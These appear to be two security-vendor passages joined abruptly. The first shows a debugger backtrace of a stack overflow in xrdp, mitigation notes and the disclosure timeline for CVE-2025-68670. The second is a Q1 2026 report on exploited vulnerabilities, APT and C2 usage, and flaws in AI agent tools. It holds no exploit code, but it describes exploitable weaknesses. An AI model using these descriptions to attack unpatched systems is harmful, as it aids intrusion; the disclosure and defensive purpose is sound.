#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()
Protection against vulnerability exploitation
It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.
The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.
Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.
Vulnerability remediation timeline
12/05/2025: we submitted the vulnerability report via https://github.com/neutrinolabs/xrdp/security.
12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
12/15/2025: investigation and prioritization of the vulnerability began.
12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
01/27/2026: the patch was merged into the projectβs main branch.
Conclusion
Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutionsΒ β such as Kaspersky Thin Client and Kaspersky IoT Secure GatewayΒ β led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.
However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.
During Q1 2026, the exploit kits leveraged by threat actors to target user systems expanded once again, incorporating new exploits for the Microsoft Office platform, as well as Windows and Linux operating systems.
In this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged by popular C2 frameworks throughout Q1 2026.
Statistics on registered vulnerabilities
This section provides statistical data on registered vulnerabilities. The data is sourced from cve.org.
We examine the number of registered CVEs for each month starting from January 2022. The total volume of vulnerabilities continues rising and, according to current reports, the use of AI agents for discovering security issues is expected to further reinforce this upward trend.
Total published vulnerabilities per month from 2022 through 2026 (download)
Next, we analyze the number of new critical vulnerabilities (CVSS > 8.9) over the same period.
Total critical vulnerabilities published per month from 2022 through 2026 (download)
The graph indicates that while the volume of critical vulnerabilities slightly decreased compared to previous years, an upward trend remained clearly visible. At present, we attribute this to the fact that the end of last year was marked by the disclosure of several severe vulnerabilities in web frameworks. The current growth is driven by high-profile issues like React2Shell, the release of exploit frameworks for mobile platforms, and the uncovering of secondary vulnerabilities during the remediation of previously discovered ones. We will be able to test this hypothesis in the next quarter; if correct, the second quarter will show a significant decline, similar to the pattern observed in the previous year.
Exploitation statistics
This section presents statistics on vulnerability exploitation for Q1 2026. The data draws on open sources and our telemetry.
Windows and Linux vulnerability exploitation
In Q1 2026, threat actor toolsets were updated with exploits for new, recently registered vulnerabilities. However, we first examine the list of veteran vulnerabilities that consistently account for the largest share of detections:
CVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component
CVE-2017-11882: another RCE vulnerability also affecting Equation Editor
CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system
CVE-2023-38831: a vulnerability resulting from the improper handling of objects contained within an archive
CVE-2025-6218: a vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution
CVE-2025-8088: a directory traversal bypass vulnerability during file extraction utilizing NTFS Streams
Among the newcomers, we have observed exploits targeting the Microsoft Office platform and Windows OS components. Notably, these new vulnerabilities exploit logic flaws arising from the interaction between multiple systems, making them technically difficult to isolate within a specific file or library. A list of these vulnerabilities is provided below:
CVE-2026-21509 and CVE-2026-21514: security feature bypass vulnerabilities: despite Protected View being enabled, a specially crafted file can still execute malicious code without the userβs knowledge. Malicious commands are executed on the victimβs system with the privileges of the user who opened the file.
CVE-2026-21513: a vulnerability in the Internet Explorer MSHTML engine, which is used to open websites and render HTML markup. The vulnerability involves bypassing rules that restrict the execution of files from untrusted network sources. Interestingly, the data provider for this vulnerability was an LNK file.
These three vulnerabilities were utilized together in a single chain during attacks on Windows-based user systems. While this combination is noteworthy, we believe the widespread use of the entire chain as a unified exploit will likely decline due to its instability. We anticipate that these vulnerabilities will eventually be applied individually as initial entry vectors in phishing campaigns.
Below is the trend of exploit detections on user Windows systems starting from Q1 2025.
Dynamics of the number of Windows users encountering exploits, Q1 2025 β Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)
The vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.
On Linux devices, exploits for the following vulnerabilities were detected most frequently:
CVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications
CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
CVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem
CVE-2023-32233: a vulnerability in the Netfilter subsystem that allows for Use-After-Free conditions and privilege escalation through the improper processing of network requests
Dynamics of the number of Linux users encountering exploits, Q1 2025 β Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)
In the first quarter of 2026, we observed a decrease in the number of detected exploits; however, the detection rates are on the rise relative to the same period last year. For the Linux operating system, the installation of security patches remains critical.
Most common published exploits
The distribution of published exploits by software type in Q1 2026 features an updated set of categories; once again, we see exploits targeting operating systems and Microsoft Office suites.
Distribution of published exploits by platform, Q1 2026 (download)
Vulnerability exploitation in APT attacks
We analyzed which vulnerabilities were utilized in APT attacks during Q1 2026. The ranking provided below includes data based on our telemetry, research, and open sources.
TOP 10 vulnerabilities exploited in APT attacks, Q1 2026 (download)
In Q1 2026, threat actors continued to utilize high-profile vulnerabilities registered in the previous year for APT attacks. The hypothesis we previously proposed has been confirmed: security flaws affecting web applications remain heavily exploited in real-world attacks. However, we are also observing a partial refresh of attacker toolsets. Specifically, during the first quarter of the year, APT campaigns leveraged recently discovered vulnerabilities in Microsoft Office products, edge networking device software, and remote access management systems. Although the most recent vulnerabilities are being exploited most heavily, their general characteristics continue to reinforce established trends regarding the categories of vulnerable software. Consequently, we strongly recommend applying the security patches provided by vendors.
C2 frameworks
In this section, we examine the most popular C2 frameworks used by threat actors and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.
The chart below shows the frequency of known C2 framework usage in attacks against users during Q1 2026, according to open sources.
TOP 10 C2 frameworks used by APTs to compromise user systems, Q1 2026 (download)
Metasploit has returned to the top of the list of the most common C2 frameworks, displacing Sliver, which now shares the second position with Havoc. These are followed by Covenant and Mythic, the latter of which previously saw greater popularity. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:
CVE-2023-46604: an insecure deserialization vulnerability allowing for arbitrary code execution within the server process context if the Apache ActiveMQ service is running
CVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication
CVE-2023-36884: a vulnerability in the Windows Search component that enables command execution on the system, bypassing security mechanisms built into Microsoft Office applications
CVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server
CVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities that allow files to be extracted from an archive to a predefined path, potentially without the archiving utility displaying any alerts to the user
The nature of the described vulnerabilities indicates that they were exploited to gain initial access to the system. Notably, the majority of these security issues are targeted to bypass authentication mechanisms. This is likely due to the fact that C2 agents are being detected effectively, prompting threat actors to reduce the probability of discovery by utilizing bypass exploits.
Notable vulnerabilities
This section highlights the most significant vulnerabilities published in Q1 2026 that have publicly available descriptions.
At the core of this vulnerability is a Type Confusion flaw. By attempting to access a resource within the Desktop Window Manager subsystem, an attacker can achieve privilege escalation. A necessary condition for exploiting this issue is existing authorization on the system.
It is worth noting that the DWM subsystem has been under close scrutiny by threat actors for quite some time. Historically, the primary attack vector involves interacting with the NtDComposition* function set.
RegPwn (CVE-2026-21533): a system settings access control vulnerability
CVE-2026-21533 is essentially a logic vulnerability that enables privilege escalation. It stems from the improper handling of privileges within Remote Desktop Services (RDS) components. By modifying service parameters in the registry and replacing the configuration with a custom key, an attacker can elevate privileges to the SYSTEM level. This vulnerability is likely to remain a fixture in threat actor toolsets as a method for establishing persistence and gaining high-level privileges.
CVE-2026-21514: a Microsoft Office vulnerability
This vulnerability was discovered in the wild during attacks on user systems. Notably, an LNK file is used to initiate the exploitation process. CVE-2026-21514 is also a logic issue that allows for bypassing OLE technology restrictions on malicious code execution and the transmission of NetNTLM authentication requests when processing untrusted input.
Clawdbot (CVE-2026-25253): an OpenClaw vulnerability
This vulnerability in the AI agent leaks credentials (authentication tokens) when queried via the WebSocket protocol. It can lead to the compromise of the infrastructure where the agent is installed: researchers have confirmed the ability to access local system data and execute commands with elevated privileges. The danger of CVE-2026-25253 is further compounded by the fact that its exploitation has generated numerous attack scenarios, including the use of prompt injections and ClickFix techniques to install stealers on vulnerable systems.
CVE-2026-34070: LangChain framework vulnerability
LangChain is an open-source framework designed for building applications powered by large language models (LLMs). A directory traversal vulnerability allowed attackers to access arbitrary files within the infrastructure where the framework was deployed. The core of CVE-2026-34070 lies in the fact that certain functions within langchain_core/prompts/loading.py handled configuration files insecurely. This could potentially lead to the processing of files containing malicious data, which could be leveraged to execute commands and expose critical system information or other sensitive files.
CVE-2026-22812: an OpenCode vulnerability
CVE-2026-22812 is another vulnerability identified in AI-assisted coding software. By default, the OpenCode agent provided local access for launching authorized applications via an HTTP server that did not require authentication. Consequently, attackers could execute malicious commands on a vulnerable device with the privileges of the current user.
Conclusion and advice
We observe that the registration of vulnerabilities is steadily gaining momentum in Q1 2026, a trend driven by the widespread development of AI tools designed to identify security flaws across various software types. This trajectory is likely to result not only in a higher volume of registered vulnerabilities but also in an increase in exploit-driven attacks, further reinforcing the critical necessity of timely security patch deployment. Additionally, organizations must prioritize vulnerability management and implement effective defensive technologies to mitigate the risks associated with potential exploitation.
To ensure the rapid detection of threats involving exploit utilization and to prevent their escalation, it is essential to deploy a reliable security solution. Key features of such a tool include continuous infrastructure monitoring, proactive protection, and vulnerability prioritization based on real-world relevance. These mechanisms are integrated into Kaspersky Next, which also provides endpoint security and protection against cyberattacks of any complexity.